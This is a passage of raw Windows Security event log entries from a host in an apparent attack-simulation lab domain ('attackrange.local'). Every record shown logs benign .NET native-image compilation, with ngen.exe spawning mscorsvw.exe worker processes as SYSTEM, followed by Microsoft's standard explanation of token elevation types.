token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254673 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1224 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 238 -InterruptEvent 0 -NGENProcess 360 -Pipe 438 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254672 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x264 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 69c -InterruptEvent 0 -NGENProcess 4fc -Pipe 500 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254677 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x61c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7f4 -InterruptEvent 0 -NGENProcess 2b4 -Pipe 69c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254676 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1170 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 1e4 -InterruptEvent 0 -NGENProcess 360 -Pipe 7b8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254678 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xde8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6c0 -InterruptEvent 0 -NGENProcess 748 -Pipe 598 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254683 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x129c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7c0 -InterruptEvent 0 -NGENProcess 720 -Pipe 6a8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254682 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1168 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 52c -InterruptEvent 0 -NGENProcess 2bc -Pipe 514 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254681 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6c0 -InterruptEvent 0 -NGENProcess 2b4 -Pipe 748 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254680 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc88 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 720 -InterruptEvent 0 -NGENProcess 2bc -Pipe 664 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254679 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6a8 -InterruptEvent 0 -NGENProcess 2b4 -Pipe 7b0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254684 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1028 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7ac -InterruptEvent 0 -NGENProcess 2bc -Pipe 328 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254685 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa98 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 360 -InterruptEvent 0 -NGENProcess 720 -Pipe 52c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254691 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf6c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 284 -InterruptEvent 0 -NGENProcess 7c0 -Pipe 7ac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254690 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1038 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 770 -InterruptEvent 0 -NGENProcess 6e0 -Pipe 7b4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254689 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x32c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7c8 -InterruptEvent 0 -NGENProcess 720 -Pipe 6bc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254688 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x574 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7a8 -InterruptEvent 0 -NGENProcess 7c0 -Pipe 6d4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254687 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x448 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7ac -InterruptEvent 0 -NGENProcess 720 -Pipe 2bc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254686 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x130c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7c8 -InterruptEvent 0 -NGENProcess 6bc -Pipe 78c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:45 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254693 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New 